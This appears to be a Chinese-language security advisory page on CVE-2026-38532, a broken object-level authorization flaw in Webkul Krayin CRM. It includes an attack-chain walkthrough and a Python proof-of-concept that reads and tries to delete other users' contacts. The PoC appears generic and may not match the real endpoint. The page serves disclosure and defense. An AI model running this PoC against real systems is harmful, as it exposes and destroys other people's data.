IPBUF安全漏洞报告
English
CVE-2026-38532 CVSS 8.1 高危

CVE-2026-38532 Webkul Krayin CRM BOLA漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-38532
漏洞类型
BOLA/越权访问
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Webkul Krayin CRM

相关标签

BOLA越权访问WebkulKrayin CRMCVE-2026-38532IDOR

漏洞概述

Webkul Krayin CRM v2.2.x版本中存在严重的越权对象级别授权(BOLA)漏洞。该漏洞位于/Contact/Persons/PersonController.php端点,由于缺乏适当的权限校验,经过身份验证的攻击者可以通过发送特制的GET请求,绕过所有权限制。这使得攻击者能够任意读取、修改甚至永久删除系统中其他用户的联系人数据,造成严重的数据泄露和完整性破坏。

技术细节

该漏洞的根本原因在于Webkul Krayin CRM在处理/Contact/Persons/PersonController.php接口的请求时,未严格验证当前登录用户对目标资源(联系人)的访问权限。具体而言,应用程序仅依赖请求中的资源标识符(如ID)来定位数据对象,而未检查请求者是否为该资源的合法拥有者。攻击者只需拥有普通用户权限(PR:L),无需任何特殊交互(UI:N),即可通过网络(AV:N)向受影响端点发送包含目标联系人ID的GET请求。由于授权逻辑存在缺陷,服务器会错误地处理这些请求,允许攻击者执行查看详情、更新信息或删除记录等敏感操作,导致高机密性(C:H)和高完整性(I:H)影响。

攻击链分析

STEP 1
1. 信息收集与身份验证
攻击者注册或获取一个普通低权限账户,并登录获取有效的会话凭证(Cookie)。
STEP 2
2. 识别漏洞端点
分析应用流量,确定/Contact/Persons/PersonController.php端点处理联系人数据的逻辑。
STEP 3
3. 构造恶意请求
攻击者修改GET请求中的ID参数,将其替换为其他用户的联系人ID(如ID=2)。
STEP 4
4. 执行越权操作
发送包含篡改ID的请求,服务器因缺乏所有权验证,返回目标联系人数据或执行修改/删除操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration base_url = "http://target.com" vulnerable_endpoint = "/Contact/Persons/PersonController.php" # Attacker's authenticated cookie (Obtained after low-privilege login) attacker_cookies = { "laravel_session": "attacker_session_id_here" } # Target victim's Contact ID (Arbitrary ID) victim_contact_id = 5 # 1. Proof of Concept: Reading arbitrary contact data # Crafted GET request to access another user's contact read_url = f"{base_url}{vulnerable_endpoint}/{victim_contact_id}" response = requests.get(read_url, cookies=attacker_cookies) if response.status_code == 200: print("[+] BOLA Exploit Successful!") print(f"[+] Leaked Data for ID {victim_contact_id}:") print(response.text) else: print("[-] Request failed or endpoint not reachable.") # 2. Proof of Concept: Deleting arbitrary contact (if method allowed via GET or parameter) # Note: Application might use GET parameters to trigger actions # Example: ?action=delete&id={victim_contact_id} delete_payload = {"action": "delete", "id": victim_contact_id} delete_response = requests.get(f"{base_url}{vulnerable_endpoint}", params=delete_payload, cookies=attacker_cookies) if delete_response.status_code == 200: print(f"[+] Contact ID {victim_contact_id} potentially deleted.")

影响范围

Webkul Krayin CRM v2.2.x

防御指南

临时缓解措施
在官方修复补丁发布前,建议在Web应用防火墙(WAF)中部署规则,监控并拦截针对/Contact/Persons/PersonController.php端点的异常请求模式。管理员应审查系统日志,检查是否存在针对特定联系人ID的异常访问或删除记录,并暂时限制低权限用户的数据管理功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表